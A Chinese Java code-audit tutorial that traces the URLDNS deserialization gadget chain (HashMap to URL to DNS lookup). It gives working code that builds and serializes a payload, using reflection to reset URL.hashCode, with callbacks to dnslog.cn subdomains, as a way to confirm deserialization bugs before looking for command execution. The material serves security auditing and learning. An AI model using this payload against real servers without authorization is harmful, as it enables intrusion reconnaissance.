Java代码审计13之URLDNS链

文章目录

  • 1、简介urldns链
  • 2、hashmap与url类的分析
      • 2.1、Hashmap类readObject方法的跟进
      • 2.2、URL类hashcode方法的跟进
      • 2.3、InetAddress类的getByName方法
  • 3、整个链路的分析
      • 3.1、整理上述的思路
      • 3.2、一些疑问的测试
      • 3.3、hashmap的put方法分析
      • 3.4、反射
      • 3.5、整个代码
  • 4、补充说明

1、简介urldns链

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,

因为是原生态,不存在什么版本限制。



HashMap结合URL触发DNS检查的思路。

在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。

之后再用各种gadget去尝试试RCE。


HashMap最早出现在JDK 1.2中,底层基于散列算法实现。

而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。

所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。

因此,HashMap实现了自己的writeObject和readObject方法。

因为是研究反序列化问题,所以我们来看一下它的readObject方法

2、hashmap与url类的分析

2.1、Hashmap类readObject方法的跟进

新建一个文件,写一个Hashmap,跟进去,

Java代码审计13之URLDNS链_第1张图片

找到Hashmap的readObject方法,该方法会在Hashmap类反序列化的时候自动调用,

之前我们反序列化漏洞的demo代码就是重写这个类造成的,

Java代码审计13之URLDNS链_第2张图片

继续向下,有一个hash(key)方法,先不管这个“key”,跟进去看看hash方法的内容,

Java代码审计13之URLDNS链_第3张图片

从这个参数定义,可以知道这个key是一个对象,

当key不为空的情况下,就会调用key这个对象的hashcode方法,

	所以这个hashcode函数具体是哪个函数,取决于传入哪个对象

Java代码审计13之URLDNS链_第4张图片

这里小结下先,

Hashmap.readObject	--	HashMap.hash	--	传入对象得.hashCode

2.2、URL类hashcode方法的跟进

继续新建一个url类,跟进去,也有一个hashcode方法,看下内容

Java代码审计13之URLDNS链_第5张图片

当hashcode不等于 -1 的时候,直接返回hashcode的值,结束本函数,

跟一下hashcode变量,发现其默认值为“-1”

也就是,默认情况下会继续向下执行,不会直接返回hashcode的值,

这里比较重要,敲黑板

Java代码审计13之URLDNS链_第6张图片

我们继续看下855行的代码“hashCode(this)”

看到这个“this”是一个url,而359行的getHostAddress函数要去解析这个url,

Java代码审计13之URLDNS链_第7张图片

继续跟进去看下,这个主要就是调用了InetAddress类的getByName方法,

InetAddress类的getByName方法的作用是,传入host解析IP,返回ip

传入ip,则返回Ip

Java代码审计13之URLDNS链_第8张图片

这里继续小结下,

URL.hashcode	--	URLStreamHandler.hashCode	-->	

-->  URLStreamHandler.getHostAddress	--	InetAddress.getByName

2.3、InetAddress类的getByName方法

我们来一个InetAddress类的getByName方法的demo

Java代码审计13之URLDNS链_第9张图片

当我们不传递域名,而是直接传递IP呢

看到是直接返回了IP

Java代码审计13之URLDNS链_第10张图片

继续,传一个错误的IP,会直接报错,

Java代码审计13之URLDNS链_第11张图片
小结,

传入域名会解析其对应的IP,我们可以在dns的解析记录找到,

但是假设传入是IP,则没有地方可以找到受害者的解析记录(这里各位有看法,欢迎补充)

代码,

package com.example.demo2;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class main {

    public static void main(String[] args) throws Exception {




                try {
                    InetAddress address = InetAddress.getByName("www.baidu.com");
                    System.out.println("IP地址: " + address.getHostAddress());
                } catch (UnknownHostException e) {
                    e.printStackTrace();
                }

3、整个链路的分析

3.1、整理上述的思路

由上面总结就可以知道,Hashmap类在反序列化的时候,会调用传入对象的hashcode方法。

而url类的hashcode方法会解析dns对应的IP;

所以整个链接就是,
Hashmap.readObject	--	HashMap.hash	-->
	
--> URL.hashcode(传入对象)  -->	URLStreamHandler.hashCode	-->

--> URLStreamHandler.getHostAddress	--	InetAddress.getByName

由上面的结果推导出,最常见的触发demo代码,
    package com.example.demo2;

    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;

    public class dns_hashmap {
        public static void main(String[] args) throws MalformedURLException {
            HashMap<URL,Integer> hashmap = new HashMap<>();
            URL url = new URL("http://dd.l3eqkh.dnslog.cn/aa");
            System.out.println(url);
            System.out.println(url.getClass());
            hashmap.put(url,2);
        }
    }

根据上边的“2.3得”分析,我们知道传入ip的话,会直接返回ip,不会请求,

传入域名的话,会有一个请求域名解析对应IP的情况;这个demo代码也测试了下,情况和上边的一样

(这也有点多余,本质上层也是调用的底层;但是觉得还是有可能,还是试了试)

3.2、一些疑问的测试

这里还一个疑问是,10行的url是什么类型,他的值是什么,

经过输出,这个url是一个类,其值就是一个“字符串”,

但是不能直接在put方法的第一个参数传入一个字符串,原因在右边的图,

	这个key的值是Object类型的(Object是Java所有类的根类;class java.net.URL可以说是其子类)

	假设传入的url是一个字符串会直接报错,这就不演示了

Java代码审计13之URLDNS链_第12张图片

3.3、hashmap的put方法分析

简单的跟一下就明白,

这个key就是上边的url类,内容是定义url类构造方法定义的url

到下图的339行,就调用了url的hashcode方法,进而会解析传入域名对应的ip,

Java代码审计13之URLDNS链_第13张图片

3.4、反射

一个问题是,我们在序列化的过程中,会因为执行put方法,进而去解析一边域名对应的ip,

这样后续的反序列化就不会再次触发解析请求了(会直接读取序列化过程的缓存)

ps:

其实不用反序列化,下边的demo代码,多次执行的化,也仅仅在第一次有请求,原因同上。

Java代码审计13之URLDNS链_第14张图片
代码,

    package com.example.demo2;

    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;

    public class dns_hashmap {
        public static void main(String[] args) throws IOException {
            HashMap<URL,Integer> hashmap = new HashMap<>();
            URL url = new URL("http://ee11.n5hfdu.dnslog.cn/aa");
            System.out.println(url);
            System.out.println(url.getClass());
            hashmap.put(url,2);
            Serialize(hashmap);

        }

        private static void Serialize(Object obj) throws IOException {
            ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
            InputStream.writeObject(obj);
            InputStream.close();
        }
    }

为了不让java程序在序列化的过程去解析域名,仅仅在反序列化的时候解析,

我们可以通过反射技术来实现。

具体而言,就是在上述“2.2”的分析中,我们说

“当hashcode不等于 -1 的时候,直接返回hashcode的值”不会继续向下执行域名解析

而hashcode默认又是-1,所以可以通过反射给hashcode变量设置一个不为“-1”的任意值,

即可让代码在序列化的时候,不继续执行域名的解析。


具体代码如下:

            HashMap<URL,Integer> hashmap =new HashMap<>();
            URL url = new URL("http://a.9v0wib.dnslog.cn");

            Class c = url.getClass();
				、、获取URL类,这里是根据已经实例化的url对象获取,保存到c中。
				、、具体来说,c是URL类的Class对象。

            Field fieldhashcode=c.getDeclaredField("hashCode");
				、、获取url类中对应的hashcode函数,保存到fieldhashcode中。
				、、具体来说,fieldhashcode是一个Field对象,它代表了URL类中名为"hashCode"的字段

            fieldhashcode.setAccessible(true);
				、、需要修改的hashcode变量是私有的(默认不可访问),设置Field对象的可访问性为true,就可以修改了


            fieldhashcode.set(url,222);         
				、、将hashcode的值由默认的“-1”改为任意值,这里是222
				、、这样第一次运行的时候,就不会解析传入域名的ip了

            hashmap.put(url,2);
				、、正常需要触发的函数,

            fieldhashcode.set(url,-1);
				、、在反序列化之前,在次将上边修改的hashcode值恢复默认,让其在反序列化时再次触发域名解析

            Serialize(hashmap);

3.5、整个代码

先把24行的反序列化注释,

第一次运行就是序列化生成“ser.txt”文件;此时不会产生dns记录,

再把12~22注释,24行反序列化解开,

第二次运行,反序列化执行,解析域名产生记录,
    package com.example.demo2;

    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;

    public class dns_hashmap {
        public static void main(String[] args) throws Exception {

            HashMap<URL,Integer> hashmap =new HashMap<>();
            URL url = new URL("http://a.9v0wib.dnslog.cn");

            Class c = url.getClass();
            Field fieldhashcode=c.getDeclaredField("hashCode");
            fieldhashcode.setAccessible(true);
            fieldhashcode.set(url,222);         //第一次查询的时候会进行缓存,所以让它不等于-1

            hashmap.put(url,2);
            fieldhashcode.set(url,-1);          //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
            Serialize(hashmap);

//            unserialize();
        }


        private static void Serialize(Object obj) throws IOException {
            ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
            InputStream.writeObject(obj);
            InputStream.close();
        }


        public static void unserialize() throws IOException, ClassNotFoundException
        {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));
            ois.readObject();
            ois.close();
        }

    }

4、补充说明

URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。

因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,

其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。但是它有以下优点:

		使用Java内置的类构造,对第三方库没有依赖
		
		在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞

我们可以通过这条链很容易判断是否存在反序列化漏洞,

然后再去寻找可以命令执行的利用链

你可能感兴趣的:(代码审计,java,开发语言)